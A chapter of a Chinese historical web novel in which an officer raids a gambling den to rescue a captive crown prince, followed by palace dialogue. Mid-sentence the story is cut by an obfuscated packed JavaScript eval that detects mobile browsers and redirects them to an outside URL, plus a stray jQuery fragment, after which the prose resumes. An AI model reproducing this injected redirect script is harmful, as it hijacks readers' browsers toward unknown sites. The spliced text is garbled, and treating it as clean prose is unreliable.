赌场今日情况特殊,早早就关门了。
也不知怎的,一个泼皮和小祝大人养的豺狼虎豹们打了起来。虽然不敌,但打斗时,也砸坏了不少桌椅瓶盏。
生意是没法继续做了。
赌徒们离开后,赌场打手指挥着几个老妪清理残局,自己蹲坐在楼梯上数今日讨来的零钱。数量比平日少了一些,但他运气好,从砸烂的赌桌底下捡到了一块半个手掌大的玉章。
玉章底下刻着字,他不认字。
但跟钱熟啊!
这玉质温润剔透,一定能卖个好价钱!
他用衣袖捧着玉章,哈气,边搓边想,该去哪间当铺卖才能得更多的钱呢?
忽然,紧闭的大门砰砰砰响了起来。
他没好气地站起来,喊道:
“关门了!也不看看是谁家的门就敢砸!”
哐的一声,赌场大门裂飞落地。打手和老妪们大惊,朝门口看去——
只见郑荫手里握着宝剑,拦门而立,他身后出鞘的剑尖冒着寒光,数量多得像是天上的星星。郑荫站在一片寒光中,神色肃然,质问道:
“太子殿下被你们关到哪里了?”
赌场打手认识郑荫,不,准确的说龙吟城谁不认识郑荫?年纪轻轻就成了中郎将,亲近君王,掌握部分皇家护卫,未来前途不可限量。
谁那么没眼,惹到这凶神了?
老妪们已经躲到一边了,赌场打手硬着头皮上前,屈膝媚颜奉承道:“哪阵风把郑中郎将吹到这里来了。太子殿下?这从何说起,我们从未见过呀。”
郑荫没说话。
从他身后冒出来三个彪形大汉,直奔到面前。二话不说,其中两人合力擒住双臂,拉直举高,另一人劈头盖脸地啪啪啪连扇三个耳光。
赌场打手不敢躲也躲不过去,硬挺受下了,两边脸肿的跟塞了块大馒头一样。
壮汉搜身后,从他身上找出了玉章。狠瞪了他一眼后,转身将玉章呈给了郑荫。
“郭公公,是这块玉章吗?”
郭明芳往前一步,仔细确认后,点头。
“这是殿下的闲章,底刻了一个混号,金钩。”
“你这可憎的蠢货!还敢欺瞒!私囚太子,和你的九族到黄泉去团聚吧!”郑荫阴沉着脸,厉声喝道。
“那块玉章是小人在地上捡的,小人真的从未见过太子啊。”
“郭公公,这蠢货嘴硬,接下来要劳烦公公了。”
郭明芳快步走到赌场中间,仰头左右观望,指着一处说:“蜂虫在那里!门关着它们飞不进去,跟着它们走一定能找到太子殿下!”
“去。”
郑荫一挥手,他身后的持剑壮汉鱼贯涌入,抬脚踢开了那扇门,踩着门板走进去开路。
打手们在那扇门后吃酒作乐,猛然见到一群人持剑而入,心里一惊,大喊道:“哪里来的混账,敢到小祝大人的地盘撒野!”
郑荫拨开人群站到前头,亮出自己的中郎将令牌。
银光晃眼。
“诸位都听清楚了,方才他们亲口承认,此地是祝全的地盘。太子被囚,与祝全脱不了干系。营救太子,生擒祝全者,本官重重有赏!”
“是!”
持剑壮汉们一拥而上,两路人马撞在一起缠斗。
赌场打手们见到郑荫的令牌就已经心怯了,战意不高,勉强迎战下没一会儿就被打得溃不成军,哼哼唧唧地躺到在地上哀嚎。
郑荫令牌开路,壮汉持剑一路护行,跟着空中那群蜂虫一路沿着楼梯深入地下,直抵赌场地下囚室。
一路哀叫不绝于耳,直到传入囚室深处的朱苗和祝全耳中。
“怎么回事?”祝全朝外面喊道,“来人啊。”
被他叫来的是一群蜂虫,紧随蜂虫而来的是郑荫一群人。
“郑荫,我与你往日无怨近日无仇,你发什么疯了来砸我的场子!”
郑荫冷笑道:“还耍威风呢,死到临头了知道吗?”
“殿下!”
郭明芳尖叫着跑到朱苗面前,声音颤得琴弦一样:“奴才来迟罪该万死,让您受苦了。”
“别忙着哭了,快帮我松松绳子。”朱苗苦笑道,“手麻的不行了。”
郭明芳手忙脚乱地解开绳子,搀着朱苗,眼睛使劲去瞪懵在原地的祝全。
“太子?!”祝全目瞪口呆,上下打量朱苗,“你真是太子殿下?”
“呸!”郭明芳啐道,“黑心的烂货,敢私囚太子殿下动用私刑,等着抄家......吧!”
灭族两个字就快脱口而出的时候,被郭明芳的理智拦了下来。他可是姓祝啊,跟太子一个姓。
“你怎么可能是太子殿下!”
祝全绝望大喊,满是不可置信。
容不得他信不信了。
有人弓腰上前,将早已备好衮龙袍披到朱苗身上。郑荫跨步上前,剑鞘劈砍在祝全膝盖窝,随后自己也屈膝跪下,恭恭敬敬拜道:
“臣,郑荫,拜见太子殿下!营救来迟,望太子殿下赎罪!”
随着他话音落下,身后那群刚才还凶神恶煞的持剑壮汉纷纷放下武器,一齐朝着朱苗跪拜,高呼“太子千岁”,声声震打祝全。
跪倒在地的祝全,盯着朱苗衮龙袍上的四爪金龙,看了又看。
“你真是太子?”
朱苗蹲在祝全面前,一字一句道:“如假包换。”
“刚才你好威风阿,抽我跟抽陀螺一样,还要砍我的脑袋,把我扔到乱葬岗喂野狗?祝全,现在,我要砍你的脑袋,把你扔到乱葬岗喂野狗。”
祝全吓得拼命磕头,向朱苗求饶:“殿下,是我有眼不识泰山,求殿下饶我一命。”
“我若不肯呢?”
“殿下,我的母亲是伯阳公主,与您也有亲呀!”
“什么八竿子打不着的亲戚,没听说过。”
祝全忽的脑中钟声长鸣,眼前一白,接受不了残酷的现实,晕死了过去。
“殿下,他晕过去了!”郭明芳喊道。
看起来他很乐意代劳上前把祝全踢醒。
朱苗按住跃跃欲试的郭明芳,说:“别那么残暴。在附近找找,应该能找到冰水,把他泼醒吧。”
“也太便宜他了。”郭明芳忿忿不平。
这种事情已经有机灵人离开去办了,朱苗让郑荫起身,笑道:“郑大人,好巧!”
“臣在下班途中偶遇郭公公,得知殿下身陷陷境,立马召集人过来营救了。”
朱苗扫了一眼那群彪形大汉,约莫二十多人,个个精兵。郑荫这厮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422631|184781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,居然拥有这么多精兵心腹,真让人看了眼热心馋。
“今日这事多谢了,这份情谊我会记住的。”
“臣不敢,护卫太子,本就是臣的分内职责。”
朱苗笑了笑,和郭明芳离开了这里。
郑荫差心腹精兵护送,自己留下来处理残局。
“中郎将,那人怎么处置?”
郑荫搓了搓手指:“陈明情由,送到大理寺。”
“祝全往日多次对小姐出言不逊,咱们要不要趁机教训教训?”
“蠢货。”郑荫笑骂道,“他全家都要遭殃了,咱们还用得着亲自浇一桶油?等着吧,他祝全的好日子在后头呢,咱们,隔岸观火就是了。”
“是。说来这祝全也真是眼瞎,连太子殿下都不认识。”
“他是谁?一个开赌场的纨绔罢了,有资格面见太子?况且,太子本就甚少露面,我也是沾了中郎将位子的光才有缘见过几次。但是,今日这事,像是太子故意给他设的局一样。”
“祝全张扬嚣张,在什么地方得罪了太子也不足为奇。”
“叮嘱下面人把嘴巴守紧了,不可妄议此事,免得惹祸上身。”
“为何?祝全对太子动私刑,难道还能逃出生天?”
“他毕竟也姓祝。最终,还得看皇上的意思。”
回宫的马车上,郭明芳边给朱苗上药,边抹眼泪。
朱苗拍了拍他的肩安慰,嘻嘻哈哈,没心没肺道:“这才哪到哪儿,我在军营受过更重的伤呢。”
“这不一样!从前受伤是为了练武艺长本事,这次受伤,却完完全全是吃苦。”
“我享的福还少阿,吃一回苦怎么了。”
“殿下是金尊玉贵的命,怎么能吃苦呢!”郭明芳振振有词道。
朱苗脸僵了僵,悠悠吐出一口气,拍着郭明芳的肩膀,语气深沉:
“明芳阿,这话由你来说,我这张脸都快臊掉了。”
郭明芳懵懂地看着朱苗,眼睛还带着湿润,不太明白朱苗的话。
“殿下,这是你的闲章,我给您拿回来了。”
朱苗接过玉章,见郭明芳欲言又止,笑问:“你是不是好奇,为什么我要特意刻一个这样的闲章?”
“殿下做事,自然有您的道理,奴才不敢擅自揣测。”
“这‘金钩太子’的名号怎么来的,我心里比任何人都明白。他们拿这混号揶揄讽刺我,却不知,当初,我凭着那柄金钩才能手刃仇人。我刻这章是为了提醒自己,到底舍弃了什么才活了下来。”
郭明芳看着太子,他的眼神里藏着太深的情绪,而那种情绪是他无法理解、也无法体会的。
“对了,殿下。不是说,你把人引出来吗,怎么你反倒被他们抓住了?”
朱苗又好气又好笑,嚷道:
“我哪料到祝全那厮居然还有爱才之心,想把我收入麾下!”
“嘿嘿,殿下赌钱的本事是太监们一起教的,肯定不俗。”笑完之后,郭明芳又面露担忧,“殿下本意是为了帮此家姑娘退亲。现在事情闹大了,郑荫又掺和进来,恐怕瞒不住皇上。”
“关关难过关关过,总得过呀!”
饶是朱苗心态良好,也没想到皇上连一点反应时间也不给他,此刻正守在东宫等她回去。